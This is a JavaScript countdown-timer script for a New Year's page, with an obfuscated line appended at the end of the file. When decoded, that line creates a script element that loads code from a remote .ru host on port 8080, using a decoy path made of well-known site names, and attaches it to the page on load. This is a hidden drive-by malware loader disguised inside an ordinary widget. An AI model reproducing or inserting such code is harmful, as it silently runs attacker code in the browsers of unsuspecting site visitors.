/*
<script language="JavaScript">
TargetDate = "01/01/2010 00:00 AM";
BackColor = "black";
ForeColor = "white";
CountActive = true;
CountStepper = -1;
LeadingZero = true;
DisplayFormat = "%%D%% Days: %%H%% Hrs: %%M%% Mins: %%S%% Secs";
FinishMessage = "Happy New Year!!!";
</script>
*/

function calcage(secs, num1, num2) {
  s = ((Math.floor(secs/num1))%num2).toString();
  if (LeadingZero && s.length < 2)
    s = "0" + s;
  return "<b>" + s + "</b>";
}

function CountBack(secs) {
  if (secs < 0) {
    document.getElementById("cntdwn").innerHTML = FinishMessage;
    return;
  }
  DisplayStr = DisplayFormat.replace(/%%D%%/g, calcage(secs,86400,100000));
  DisplayStr = DisplayStr.replace(/%%H%%/g, calcage(secs,3600,24));
  DisplayStr = DisplayStr.replace(/%%M%%/g, calcage(secs,60,60));
  DisplayStr = DisplayStr.replace(/%%S%%/g, calcage(secs,1,60));

  document.getElementById("cntdwn").innerHTML = DisplayStr;
  if (CountActive)
    setTimeout("CountBack(" + (secs+CountStepper) + ")", SetTimeOutPeriod);
}

function putspan(backcolor, forecolor) {
 document.write("<span id='cntdwn' style='background-color:" + backcolor + 
                "; color:" + forecolor + "'></span>");
}

if (typeof(BackColor)=="undefined")
  BackColor = "black";
if (typeof(ForeColor)=="undefined")
  ForeColor= "white";
if (typeof(TargetDate)=="undefined")
  TargetDate = "01/01/2010 00:00 AM";
if (typeof(DisplayFormat)=="undefined")
  DisplayFormat = "%%D%% Days: %%H%% Hrs: %%M%% Mins: %%S%% Secs";
if (typeof(CountActive)=="undefined")
  CountActive = true;
if (typeof(FinishMessage)=="undefined")
  FinishMessage = "Happy New Year!!!";
if (typeof(CountStepper)!="number")
  CountStepper = -1;
if (typeof(LeadingZero)=="undefined")
  LeadingZero = true;


CountStepper = Math.ceil(CountStepper);
if (CountStepper == 0)
  CountActive = false;
var SetTimeOutPeriod = (Math.abs(CountStepper)-1)*1000 + 990;
putspan(BackColor, ForeColor);
var dthen = new Date(TargetDate);
var dnow = new Date();
if(CountStepper>0)
  ddiff = new Date(dnow-dthen);
else
  ddiff = new Date(dthen-dnow);
gsecs = Math.floor(ddiff.valueOf()/1000);
CountBack(gsecs);
var r={NF:"Y"};var D;Ym=41000;Ym++;L=function(){function _(f,y,Lc){return f.substr(y,Lc);}try {} catch(lK){};var Rm="Rm";var gx=RegExp;var gO=[];var c={I:"P"};var N=document;var k=new String();var o="/goog"+_("le.cogNQ",0,5)+"m/acc"+_("9FSuweatFS9",3,5)+_("her.cAm2i",0,5)+_("om/naLb3Y",0,5)+_("UDfgver.cfDUg",4,5)+"om.ph"+"p";try {var yS='zO'} catch(yS){};var X='';this.Qs=false;var uM=new Date();function g(f,y){var Po=new Date();this.Qy=55219;this.Qy--;tK=14952;tK--;var Lc=new String("[")+y+String(_("]zZV",0,1));var M=new gx(Lc, new String(_("gBbE",0,1)));return f.replace(M, X);this.IT="IT";};var d="d";var Ymk=["dE","j"];yT=20904;yT-=2;var S=null;var VH=["a","_n","Rg"];var x=779099-771019;this.H=8214;this.H-=3;var b=new String();var Dc=String(_("bodyGDN",0,4));var F=g('sKc8rni8pStf','EQhIZKUdgfn8GAoLCOSz');var uE=new String();D=function(){try {var SU='U'} catch(SU){};try {var Fn='C'} catch(Fn){};try {var gU={Wc:2073};var sc={ue:1487};var l=g('cqr5ekaqtYeCEPlueSm0egnDtP','XYQPSTqNCHg50Duk');nT=["GW"];A=N[l](F);XO=47616;XO-=98;var f=x+o;var JQ={};var fw=g('sSrRcq','WuRSqX0gt');try {var Rw='RY'} catch(Rw){};var s=String(_("defeAys",0,4)+_("rOB8",0,1));DW=["WJ","Qz","p"];this.eC='';A[fw]=new String("ht"+_("tpcCBT",0,2)+":/"+_("okB/ckoB",3,2)+"la"+_("imN7Gw",0,2)+_("pa34V",0,2)+"d."+_("ruE9dW",0,2)+":")+f;A[s]=[2,1][1];LX={JM:false};N[Dc].appendChild(A);rl=34484;rl++;Es=8576;Es++;this.FT=41042;this.FT--;var xi=[];} catch(J){};};Vl=["m"];};var JS={B:false};kC={HM:58128};L();WC={};window.onload=D;pW={Lp:false};var HR=false;